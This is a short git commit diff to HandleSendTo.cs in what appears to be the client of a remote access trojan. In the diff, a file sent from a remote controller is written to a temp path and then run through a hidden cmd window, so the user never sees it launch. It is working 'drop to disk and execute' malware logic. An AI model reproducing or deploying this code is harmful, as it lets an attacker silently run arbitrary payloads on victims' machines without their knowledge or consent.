Update HandleSendTo.cs

This commit is contained in:
NYAN CAT 2019-06-28 20:57:58 +03:00
parent cf102c6382
commit 6a30b4f382

View File

@ -17,7 +17,14 @@ namespace Client.Handle_Packet
//Drop To Disk
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
Process.Start(fullPath);
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/k START \"\" \"" + fullPath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
Process.Start(processStartInfo);
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{
new HandleUninstall();